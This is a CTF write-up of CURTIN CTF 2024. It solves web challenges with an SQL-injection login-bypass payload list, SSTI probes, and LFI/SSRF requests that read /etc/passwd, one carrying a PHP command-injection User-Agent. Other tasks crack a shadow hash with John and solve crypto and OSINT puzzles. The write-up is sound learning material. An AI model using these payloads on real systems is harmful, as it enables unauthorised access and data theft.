Post

CURTIN CTF 24 HOURS

image 1

Introduction

In this write-up, I will be sharing my experience and insights from the CURTIN CTF 2024 that took place on 12-13/10/2024 . The challenge was hosted by Curtin University Malaysia.

Challenge Overview

The challenge consisted of several tasks, including Web Exploitation, Crypto, Osint ,Misc , Forensic And Stego, Reverse Engineering and etc.

lets get started one by one of this challenges!

1.EASY LOGIN

image 2

First given this login page we can try to go for admin users to retrieve the flag. So based on this we know that the username is admin but the password is remaining unknown. So i search for the sql injection bypass admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

And setup in intruder burp and see the response and we got the flag

image 3

1
flag:CURTIN_CTF{sql_1nj3ct1on_v1ct0ry}

2.CRUMB TRAILS

image 4

To get the flag we can analyze the cookies and we can see the cookie value is set to vanilla.SO to get the flag we need to change it to chocolate and we get the flag.

image 5

1
flag:CURTIN_CTF{c00kies_cutt3r_is_c00l}

3.VALUABLE FEEDBACK

So i try to xss using this payload

1
<scirpt>alert(1)</script>

And it pops out but there’s is nothing to do with xss and i do further analysis and try SSTI.So i try this payload from the

1
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
1
2
3
4
5
${7*7}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

And it works. It pops out at /fetch 49 which is vulnerable to SSTI .sorry i unable to capture the other how I got the flag but this is the payload that I use to be able to get the flag.

image 6

1
flag:CURTIN_CTF{t3mpl4t3s_ar3_e4sy_t0_cr4ck}

4.SNEAKY SOURCE

Next for this chall lets go through burp and i can identified that the chall is vulnerable to LFI(Local File Inclusion)

image 7

request

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /fetch HTTP/1.1
Host: 18.143.108.145:8003
User-Agent: <?php system('cat /flag.txt'); ?>
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,ima
ge/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: http://18.143.108.145:8003
Connection: keep-alive
Referer: http://18.143.108.145:8003/
Upgrade-Insecure-Requests: 1
Priority: u=0, i
url=file:/../../../etc/passwd

So based on this req i has able to see /etc/passwd and i saw the website is using flask and lets identified the flag maybe in /app

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /fetch HTTP/1.1
Host: 18.143.108.145:8003
User-Agent: <?php system('cat /flag.txt'); ?>
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,ima
ge/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
Origin: http://18.143.108.145:8003
Connection: keep-alive
Referer: http://18.143.108.145:8003/
Upgrade-Insecure-Requests: 1
Priority: u=0, i
url=file:///app/flag.txt

image 8

1
flag:CURTIN_CTF{S3rver_S1de_Surf1ng}

5.INTERNAL VIEW

So the webpage is similar like the previous challenge but it said that the flag is stored in /internal/flag .So its mean that the localhost can view i pop out my strategy to get the flag

1
x-forwaded-for:127.0.0.1 -> to bypass localhost access

based on this ref:https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass

1
2
3
4
5
6
# Hexadecimal bypass
127.0.0.1 = 0x7f 00 00 01
http://0x7f000001/ = http://127.0.0.1
http://0xc0a80014/ = http://192.168.0.20
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001

So based on this i craft my payload like this

request in burp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /fetch HTTP/1.1
Host: 54.255.171.153:8005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101
Firefox/131.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,ima
ge/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Origin: http://54.255.171.153:8005
Connection: keep-alive
Referer: http://54.255.171.153:8005/
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 10.0.0.1
Priority: u=0, i
url=http://127.0.0.1:5000/internal/flag

respond

1
2
3
4
5
6
7
HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.8.20
Date: Sat, 12 Oct 2024 14:29:35 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 34
Connection: close
Access to localhost is restricted.

To bypass this just use the payload given to access the localhost

1
payload:url=http://0x7f000001:5000/internal/flag

image 9

1
flag:CURTIN_CTF{s3rv3rs_4re_n0t_so_busy}

6.TRIVIAL 2

image 10

We are given two files contains challenge.txt and challenge.py. So i wrote a python code to reverse the encryption process and get the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import math


# Encrypted list provided
encrypted_list = [4490, 7226, 6725, 7057, 5330, 6085, 9026, 4490, 7057, 4901, 15130, 9605, 2705, 9802, 11450, 9026, 3026, 2305, 9026, 12997, 2305, 2305, 3026, 13226, 15626]


# Decryption process
def decrypt(encrypted_list):
    decrypted_chars = []
    for encrypted_value in encrypted_list:
        # Reverse the encryption formula: x = sqrt(E(x) - 1)
        decrypted_value = int(math.sqrt(encrypted_value - 1))
        decrypted_chars.append(chr(decrypted_value))  # Convert ASCII to character
   
    return ''.join(decrypted_chars)


# Get the decrypted flag
decrypted_flag = decrypt(encrypted_list)
print("Decrypted flag:", decrypted_flag)

Then run the code

1
2
3
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf]
└─$ python3 trivial.py
Decrypted flag: CURTIN_CTF{b4ck_70_r007s}

7.BLUFF

So we are given two files and and make a python script to decode the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import itertools


# Encrypted flag from enc_flag.txt
enc_flag = [66, 188, 199, 131, 75, 166, 245, 147, 87, 161, 232, 166, 114, 223, 228, 181, 118, 222, 226, 239, 115, 209, 241, 235, 63, 212, 169, 236, 65, 214, 173, 239, 59, 108]


# Function to decrypt based on a given key
def decrypt(enc_flag, key):
    decrypted_flag = []
    key_len = len(key)
    for i in range(len(enc_flag)):
        chunk = i // key_len
        offset = i % key_len
        decrypted_char = (enc_flag[i] ^ key[offset]) - chunk
        decrypted_flag.append(chr(decrypted_char))
    return ''.join(decrypted_flag)


# Brute force all possible 4-byte keys (32-bit key space: 256^4 possible keys)
# Limiting to ASCII-printable characters as a quick filter
possible_keys = itertools.product(range(256), repeat=4)


# Testing each possible key
for key in possible_keys:
    key_bytes = [int(k) for k in key]
    try:
        flag = decrypt(enc_flag, key_bytes)
        # Check if the flag starts with "CURTIN_CTF{" and ends with "}"
        if flag.startswith("CURTIN_CTF{") and flag.endswith("}"):
            print(f"Key: {key_bytes}, Flag: {flag}")
            break  # Exit once a valid flag is found
    except:
        continue  # Ignore errors in decryption process

execute the code and we got the flag

1
2
3
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf]
└─$ python3 bluff.py
Key: [1, 233, 149, 215], Flag: CURTIN_CTF{op3n_s3s4m3_7876598112}

8.AMALGAM

So we are given this two file and i make a script to decode this

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from sympy import mod_inverse, discrete_log

# Given values (replace these with the values from your file)
p = 186506814954895414068796533711441426871  # Prime number
g = 2  # Base
h = 128780011407215156870232600336696679553  # Public key
c1 = 156581689710555992734938659724336258165  # First part of the encrypted flag
c2 = 113787733820173627914147318932861607685  # Second part of the encrypted flag

# Step 1: Solve for the private key 'x' using discrete logarithm
x = discrete_log(p, h, g)

# Step 2: Compute the shared secret 's' using c1 and the private key x
s = pow(c1, x, p)

# Step 3: Calculate the inverse of 's' modulo p
s_inv = mod_inverse(s, p)

# Step 4: Decrypt the message m
m = (c2 * s_inv) % p

# Print the flag
print(f"CURTIN_CTF}")

then we got this

1
2
3
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf]
└─$ python3 elgamal.py
CURTIN_CTF{31079444516244885935187311145}

This is not the end we need to decode the value to obtain the real flag so i wrote a script

1
2
3
4
5
6
7
8
9
10
decrypted_number = 31079444516244885935187311145

flag_bytes = decrypted_number.to_bytes((decrypted_number.bit_length() + 7) // 8, 'big')

flag = flag_bytes.decode('utf-8', errors='ignore')

formatted_flag = f"CURTIN_CTF}"

print(formatted_flag)

then we got the real flag

1
2
3
4
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf]
└─$ python3 elgamal2.py
CURTIN_CTF{dlP_50lv3d:)}

9.RSA1

Using sagemath to put all these parameter to get p and q

ref:https://sagecell.sagemath.org/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Given parameters
n = 15940880393081622192223979546417668454241001094105696491631845740319699779637868921818468662546538526734159459987929569646758157949726050092327261607567477210838728560641007932591472048341979229227000996158864820326472140369536128940011407532021392192858059263128347413516277627338557773943130473619144266602819768289316894685127758747023625922861716983808957650638526747245869728390450745710053889903365620164261097827034696518433301946463145635387673172039280459108906156350531065067336803176395966402871830286192577088734549689317831281599635132619523883607065807674352024907150268276243231669001306391571889664767000269740644816918518242783451143038482044617197372383969811690923359599584060183246684500682839727818817572623643916667956119711025923398568092705131007640437009630310461215618002687681148614450537994685732723364660314199425405823518030479379304998927941434491041698761309565206754369009655472934744341914827525943272586954251730078614382895749955996740380235107223902027659741996429282861891673085104147370045405961294099732979678272773826599016536412578932433904030505154999176517839833260039964597955076704762201524866516857761405360622930516491985930417948661249000621996356980915282995033583482641405828363443819241154399820186471985527636315446103596671058367866892705878909337399021378085620148416281726544652130913248870503306604860069279648074721897994731666127511897571565176702890871406233528233764474842435353662824803774230985170155102399526678113553185926581547531929458018714491649785151228464354683945162919888238078818142664891976580283043168793532818976641325908588559452360271093536728188468093955635851427400246135873082132120043700880049057114037825152222836929555281795129395718413678801035220085447886467326801984191156595256589818613913229363820848876188943510988155897845879797538033623007410622942705920928531297122355664722115432967894109638655871697467544954570368089729236699347314122966944234115811880321161988925755790917881868951745905665036446036114588885458572324261723207406410695928509493222079503841942661183609924325963288751971513447161960665796967979143891190229029219582316717531133448823477925219559046895187452616687163842512991459142565797945381440167111698245672180570103015392203883682050472726311220309044957019444576289519199490560422919525648997774693485847722051397914538064633576600336792092599951404116951597102344146970626745993023933325515868962556368207329326367871452331540970273987458930797
diff_pq = 19446185665001932891863123565802286467991322014746876964013701369322897657444386633296616696168267366199920908214861667183967127865711481276497998516475134987986234107252897362882360257060819274323493441003279977951185789618655911147638408200310708832863210179986939189277431934841758094681397206297269204946733155416228404475101349159647712893882998644638490972589384447685758296695943696378904740865372847834754012806961145339009705107364366305272446432151468385174168203082509791808125524328759572433089974565599380134406580709133277810467919601298087724371283440367928548920207922728843966255605792638884428157104036042309966679145466135156678157063068138401063208639819013053445933650327463224033606491166029807779049310851321687425814592777852113728121194401684278386654197915094379386331968569071047319013960290729128040322044194139995761548185543015779153245806933487262288281397595328529970986231707560121231845029590674493616017456787804838794787286983295028461473824879025799162116310309820208035189596601045522614202811245581151461360787349910512422879586756376900659196002122475214220004775212001355945966793757926005189263687454876821065812893701132511947238001771844876788216681670235849206704991988163485611260844

# Step 1: Solve for p and q
# Compute the square root term for the quadratic equation
from sage.all import sqrt

a = (diff_pq**2 + 4 * n)
sqrt_a = sqrt(a)

# Solve for p and q
p = (diff_pq + sqrt_a) // 2
q = p - diff_pq

p, q

then we got the value of p and q i make a python script to decrpyt the RSA algorithm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('Modular inverse does not exist')
    else:
        return x % m

e = 65537
p = 126266922838510990418834451038173737316912460754135130993306242917458723243304974794951812583891515412302309388251709451923876295035163156890565758637242948093838201781963752195826090831993187927366541750162366483837451197350991345952194618117940293299973829431057753468950042191761409197840716446959210930593248010246027832088823304773890242174098854561380474437521255676209721507395362735121671447848847144086413308623064331470538304019576659195052506897847076006579161130624612940877127374089380113567331244698643416618427737976142424654767011099546142235408299067514822392799616906941328250561752506045868899608796221748484384926183819201547537843020422826563196461186929914450921289354732421155077133740232524304869416754322550378375466859674782288384668443420001419905666174175433796068041755613723214516644667680392978300128179411128831535446985963153625953318475395127387978854427620726796558229593508586638621749453679799094182207869589735757690992918943044932245947751634833855034904912038620345624125086967409838819378957187204469226648864495175764537483900105634405044602242377058439901418017647779492020837109070949225352440993027471059547048915110931202578439810563721283633458225096784284947132172606341074188346312031
q = 126247476652845988485942587914607935030444469432120384116342229216089400345647530408318515967195347144936109467343494590256692327907297445409289260638726472958850215547856499298463208471736127108092218256721363203859500011561372690041046979709739982591140966220877766529760764759826567439746035049752913661388301277090611603684348203424730594461204971562735835946548666291762035749098666791425292543107981771238578554610257370325199294314469294828747234451414924538193986962421530431085319248565051353994898154724077817238293331395433291376956543179944844147683927784074454464250696699018599406595496900253230015180639117712442074959504673735412381164863359758424795397978290095437867843421082093691853100133741358275061637705011699056688041045082004436270940322225599735627279519977518701688655423645154143469325653720102249172087857366934691539685437777610610174165229588193900716566146223131468028258607276879078500517608650208419688591852132947952852198131656061637217486277809954829235742795728310525416089897370808793296764754375958888075187503707825854025061020518878028143943046374935964687198012872567490664891142277191299347251729340016182725983102217230070066492572561949438756670008415114049097925467614352910702735051187
n = 15940880393081622192223979546417668454241001094105696491631845740319699779637868921818468662546538526734159459987929569646758157949726050092327261607567477210838728560641007932591472048341979229227000996158864820326472140369536128940011407532021392192858059263128347413516277627338557773943130473619144266602819768289316894685127758747023625922861716983808957650638526747245869728390450745710053889903365620164261097827034696518433301946463145635387673172039280459108906156350531065067336803176395966402871830286192577088734549689317831281599635132619523883607065807674352024907150268276243231669001306391571889664767000269740644816918518242783451143038482044617197372383969811690923359599584060183246684500682839727818817572623643916667956119711025923398568092705131007640437009630310461215618002687681148614450537994685732723364660314199425405823518030479379304998927941434491041698761309565206754369009655472934744341914827525943272586954251730078614382895749955996740380235107223902027659741996429282861891673085104147370045405961294099732979678272773826599016536412578932433904030505154999176517839833260039964597955076704762201524866516857761405360622930516491985930417948661249000621996356980915282995033583482641405828363443819241154399820186471985527636315446103596671058367866892705878909337399021378085620148416281726544652130913248870503306604860069279648074721897994731666127511897571565176702890871406233528233764474842435353662824803774230985170155102399526678113553185926581547531929458018714491649785151228464354683945162919888238078818142664891976580283043168793532818976641325908588559452360271093536728188468093955635851427400246135873082132120043700880049057114037825152222836929555281795129395718413678801035220085447886467326801984191156595256589818613913229363820848876188943510988155897845879797538033623007410622942705920928531297122355664722115432967894109638655871697467544954570368089729236699347314122966944234115811880321161988925755790917881868951745905665036446036114588885458572324261723207406410695928509493222079503841942661183609924325963288751971513447161960665796967979143891190229029219582316717531133448823477925219559046895187452616687163842512991459142565797945381440167111698245672180570103015392203883682050472726311220309044957019444576289519199490560422919525648997774693485847722051397914538064633576600336792092599951404116951597102344146970626745993023933325515868962556368207329326367871452331540970273987458930797
c = 8413782726461541602913756039758305440836412287813773153411365960748450871027707633874217383295383481869325038078976781015007513229347097469371279220803204983355347655683513667088588074202501147594395702282334179124794781871517260250525536908326800965888418964918694916006884537543011229484376018147268919406195055917084790592479499766734576144082810933280877054789971671533919533660158408423424185650356318518379636823750893726233499500188843692055868151249687738386488534142892831049124956774899410006084346138710056812199825326206688966306714260750975121581835353985336980114774232067155041193198180698246403870169981563849307541955386369149422881602494929264929737280150329566903466285149020311618967791172538171280546694675534389454765543724780546918668435019028064871754691532110565068615157319889820944033048902255664642773218099048574566017181575258546758883546492803137717155881557338843592209207689463957840581945426930837246385901477752907096376004160861031244782814843210961453696657150665127977305005202771961236999129828758134510593378918560947499235704939556050322382009751568420207568808891407979608313803205850457374203809188547053115181776254415319188681883447021017869446867989346915152852825019616081716802990396062469163243135351547702156800537851107924720649180003285840914409777322049074094783843649569729539066223970441125382806118498958261540756052860910490399082824953032938402516792174368475134992760224198700374390864316120110306938158921418121457620889268565760685238892212999604146465162867640041064499228386006681717471251254990717858562759770905947269460142594521881470262940835078829442425244723815621278919162516682158822798977763435125635963668626156334114464102838126493966355609183208192998531373143867887346353211910003642658203653385244836610494653921249974400825401880566797287387115572727756785284767721336001760816036988439334050351608229131590077522439493925221375259909629016262905916790128638258322194247479997220390050492289058204485034457313809723675617094812771640112394720404929279053643210561537233165368292934623525915746720648655418268587097359836671508455239599508020030055462133024501888962745878358260116256538476487838862369689123290204371877250090186672449934183327283618423893439031497798985471835874040738044268676828950640266922716836786100999406935131991385114491269400938094956780725144002766875279228699473643314965832833403460993564655225664279717054432748451778401574414898003066402168353796733750757

d = modinv(e,(p-1)*(q-1))
pl = pow(c,d,n)
#print (pl)
#print (hex(pl))
pl_hex = hex(pl)
print("Plaintext in hexadecimal:", pl_hex)

# Convert hexadecimal back to text
pl_text = bytes.fromhex(pl_hex[2:]).decode('utf-8')
print("Plaintext in text:", pl_text)

execute the code and we got the flag

1
2
3
4
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf]
└─$ python3 rsa.py
Plaintext in hexadecimal: 0x43555254494e5f4354467b31735f376831355f35306d333768316e675f63313073335f37305f6d346731633f7d
Plaintext in text: CURTIN_CTF{1s_7h15_50m37h1ng_c10s3_70_m4g1c?}

10.RSA2

we also give the file and i make a python script to decrypt it

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from sympy import factorint, mod_inverse

# Given RSA parameters
n = 38851370026688292718610500714047313275568128923880406032240694321386868708669715834849444005885071039350867771015411960409482332075714895130040955721609469707712307896329759118786126795971608203356413095211390559788430050833157008379312765193252778797982267208761085870346676464332871683194405356959302337269
c = 10261077771725074705657914043269356567599143194523440913396849942218293691678585398731563393613698000832185314817454466653490727661933561044428403796426278758420015350118130960938311896749919783987826137481434137155805830348623564782373093651077789955010753791725635501759033479236281331100713235218526738970
e = 65537

# Step 1: Factorize n into p and q
factors = factorint(n)
p = list(factors.keys())[0]
q = list(factors.keys())[1]

# Step 2: Compute phi(n)
phi_n = (p - 1) * (q - 1)

# Step 3: Compute the private key 'd'
d = mod_inverse(e, phi_n)

# Step 4: Decrypt the ciphertext
m = pow(c, d, n)

# Step 5: Convert the decrypted message (m) to bytes to reveal the flag
flag = bytes.fromhex(hex(m)[2:])
print("The flag is:", flag.decode())

execute the code and we got the next flag

1
2
3
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf]
└─$ python3 rsa2.py
The flag is: CURTIN_CTF{4_m4gn1fy1ng_gl455_w0n7_b3_n33d3d_for_sur3}

11.DANCE OF THE STREAM

given the file we analyze it and i make a python script to decode it

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import struct
import re

# Constants
FLAG_REGEX = r"CURTIN_CTF\{[A-Za-z0-9_]+\}"

def o_value(value):
    o_kie = b'leomessi'
    return bytes([b ^ o_kie[i % len(o_kie)] for i, b in enumerate(value)])

def q_r(a, b, c, d):
    a = (a + b) & 0xFFFFFFFF
    d = (d ^ a) << 16 | (d ^ a) >> (32 - 16)
    c = (c + d) & 0xFFFFFFFF
    b = (b ^ c) << 12 | (b ^ c) >> (32 - 12)
    a = (a + b) & 0xFFFFFFFF
    d = (d ^ a) << 8 | (d ^ a) >> (32 - 8)
    c = (c + d) & 0xFFFFFFFF
    b = (b ^ c) << 7 | (b ^ c) >> (32 - 7)
    return a, b, c, d

def stream(key, nonce, counter):
    state = [0] * 16
    state[0] = 0x61707865
    state[1] = 0x3320646e
    state[2] = 0x79622d32
    state[3] = 0x6b206574
    state[4:6] = struct.unpack("<2L", key + b'\x00' * 6)
    state[6:8] = [0] * 2
    state[8:12] = [0] * 4
    state[12] = counter
    state[13] = nonce & 0xFFFFFFFF
    state[14] = (nonce >> 32) & 0xFFFFFFFF
    state[15] = 0

    working_state = state[:]
    for _ in range(20 // 2):
        working_state[0], working_state[4], working_state[8], working_state[12] = q_r(
            working_state[0], working_state[4], working_state[8], working_state[12]
        )
        working_state[1], working_state[5], working_state[9], working_state[13] = q_r(
            working_state[1], working_state[5], working_state[9], working_state[13]
        )
        working_state[2], working_state[6], working_state[10], working_state[14] = q_r(
            working_state[2], working_state[6], working_state[10], working_state[14]
        )
        working_state[3], working_state[7], working_state[11], working_state[15] = q_r(
            working_state[3], working_state[7], working_state[11], working_state[15]
        )
        working_state[0], working_state[5], working_state[10], working_state[15] = q_r(
            working_state[0], working_state[5], working_state[10], working_state[15]
        )
        working_state[1], working_state[6], working_state[11], working_state[12] = q_r(
            working_state[1], working_state[6], working_state[11], working_state[12]
        )
        working_state[2], working_state[7], working_state[8], working_state[13] = q_r(
            working_state[2], working_state[7], working_state[8], working_state[13]
        )
        working_state[3], working_state[4], working_state[9], working_state[14] = q_r(
            working_state[3], working_state[4], working_state[9], working_state[14]
        )

    output = bytearray()
    for i in range(16):
        output.extend(struct.pack("<L", (working_state[i] + state[i]) & 0xFFFFFFFF))
    return output

def stream_e(key, nonce, message):
    keystream = bytearray()
    for i in range(0, len(message), 64):
        keystream.extend(stream(key, nonce, i // 64))
    
    return bytes([m ^ k for m, k in zip(message, keystream)])

def try_decrypt_with_key(prng_key, nonce, ciphertext):
    # Decrypt the message
    decrypted_message = stream_e(prng_key, nonce, ciphertext)

    # Convert to printable characters (ASCII range)
    decrypted_str = ''.join([chr(b) if 32 <= b <= 126 else '.' for b in decrypted_message])

    # Check if the flag format exists in the decrypted message
    flag_match = re.search(FLAG_REGEX, decrypted_str)
    if flag_match:
        return flag_match.group(0)  # Return the flag
    return None

# De-obfuscate the nonce
o_nonce_content = b'R}\x98\xb6b\x8f\xd7\x8c'
nonce = struct.unpack("<Q", o_value(o_nonce_content))[0]

# Ciphertext from the file
ciphertext = b'\x80\x8c\x85\xe6}\xe7Xj)v\x01\xe3\xf7\xb2\x04?\x82R3_\xac\x97\xcc\xa0\x9f\xc8\x8d\xcc\xb4\x92\xa0\x8f\xe9\x820\x92\xee{W~\xb9x\xb8\xba?\x07\xfe\xddU\x91\xcf\x88O'

# Brute force the PRNG key range (assuming it's small enough)
for key_candidate in range(0x0000, 0xFFFF):  # Modify the range as needed
    prng_key = struct.pack("<H", key_candidate)  # 2-byte key
    flag = try_decrypt_with_key(prng_key, nonce, ciphertext)
    if flag:
        print(f"Flag found: {flag}")
        break
else:
    print("Flag not found in the provided key range.")

the key here to bruteforce the value of PRNG and execute the code

1
2
3
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf]
└─$ python3 woo.py
Flag found: CURTIN_CTF{g0_s0lv3_7h3_57r34m_pr0bl3m_0f_1r0d0v_n0w}

12.THE PACKAGE

For this osint chall we are given thisi value:278154251425 and we need to find specific information of the package and submit the flag.

So the first thing i browse to this website to get the information

ref:https://www.ups.com/track?loc=en_US&requester=ST/

But nothing appear and i search google find out thats a fedex tracking number

ref:https://www.fedex.com/fedextrack/?trknbr=278154251425&trkqual=2460535000~278154251425~FX

And from here we got the information and compile it to the flag

image 11

image 12

1
flag:CURTIN_CTF{Beckton_12_08_2024_60_31_20}

13.CAR ON THE FIRE PART 1

We got the video contains information about the car accident of tesla . i just search straight away to google search and found this article

ref:https://www.bbc.com/news/world-us-canada-44511200

And the flag fulfill the requirement

1
flag:CURTIN_CTF{Michael_Morris}

14.CAR ON THE FIRE PART 4

So based on the video i try to find the original video from youtube,twitter and got this information and lets play geoosint.

Just need to find the exact location the car accident happen and you got this

ref:https://www.google.com/maps/@34.0908097,-118.358912,3a,75y,276.77h,79.02t/data=!3m6!1e1!3m4!1sDEcJzBwVrmxFe4qlAWVz2g!2e0!7i16384!8i8192?coh=205409&entry=ttu&g_ep=EgoyMDI0MTAwOS4wIKXMDSoASAFQAw%3D%3D

And we got the nearest food market

1
flag:CURTIN_CTF{Odessa_Grocery}

15.PASSWORD RECOVERY 1

So for this chall we need to get the password so we need to guess the password i think.. Just need to based on the hint given and it gives me like this.the hint clearly said that season and so i created a custom wordlist just trying my luck and also we have shadow that contains credential for alex

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import itertools

# Basic words related to Alex's love for seasons
seasons = ['Winter', 'Spring', 'Summer', 'Autumn']
years = ['2024', '2023', '2022', '2025']

# Function to generate variations
def generate_wordlist():
    wordlist = set()

    # Add seasons + years combinations (like Autumn2024)
    for season, year in itertools.product(seasons, years):
        wordlist.add(f"{season}{year}")

    # Add some password variations with common patterns
    special_chars = ['!', '@', '#', '$', '%', '&', '*', '?']
    for word in list(wordlist):
        for char in special_chars:
            wordlist.add(f"{word}{char}")

    # Return the wordlist
    return wordlist

if __name__ == "__main__":
    wordlist = generate_wordlist()
    with open("custom_wordlist.txt", "w") as f:
        for word in wordlist:
            f.write(f"{word}\n")

    print(f"Generated wordlist with {len(wordlist)} entries.")

Then i insert the hash into shadow.txt

1
2
3
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf/password]
└─$ cat shadow.txt
alex:$6$zQJpsubhFjkNXMvg$liKTdbnarlSFKKD3IMtdguHz6lyoYCyL/y6gcW6r5D2QZoPfdZom3u8l3XnzzEruyHFFdS1Ve45cZjDStx.9R1

And try to crack using custom wordlist that i created

1
2
3
4
5
6
7
8
9
10
11
12
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf/password]
└─$ john --wordlist=/home/hackboredzz/curtinctf/password/custom_wordlist.txt shadow.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Autumn2024!      (alex)
1g 0:00:00:00 DONE (2024-10-13 19:30) 33.33g/s 4800p/s 4800c/s 4800C/s Winter2025&..Summer2024?
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Then i get the flag which is the password :

1
flag:CURTIN_CTF{Autumn2024!}

16.MISC 7

So for this chall i need to access to using the file its given and i rename it to id_rsa

To connect it we can use this comment

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf]
└─$ ssh -i id_rsa ubuntu@54.255.1.14
Last login: Sun Oct 13 02:47:58 2024 from 60.52.218.19
ubuntu@ip-172-31-46-50:~$

ubuntu@ip-172-31-37-234:~$ find / -perm -4000 2>/dev/null
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/su
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/mount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/snap/core18/2829/bin/mount
/snap/core18/2829/bin/ping
/snap/core18/2829/bin/su
/snap/core18/2829/bin/umount
/snap/core18/2829/usr/bin/chfn
/snap/core18/2829/usr/bin/chsh
/snap/core18/2829/usr/bin/gpasswd
/snap/core18/2829/usr/bin/newgrp
/snap/core18/2829/usr/bin/passwd
/snap/core18/2829/usr/bin/sudo
/snap/core18/2829/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2829/usr/lib/openssh/ssh-keysign
/snap/snapd/21759/usr/lib/snapd/snap-confine
/etc/security/print_file
ubuntu@ip-172-31-37-234:~$ /etc/security/print_file /home/ubuntu/flag
CURTIN_CTF{$3tU1D}
ubuntu@ip-172-31-37-234:~$

i saw this /etc/security/print_file so just execute this with the flag and we get the flag

1
flag:CURTIN_CTF{$3tU1D}

17.PASSWORD RECOVERY 2

So for this chall we neeed to access to the server

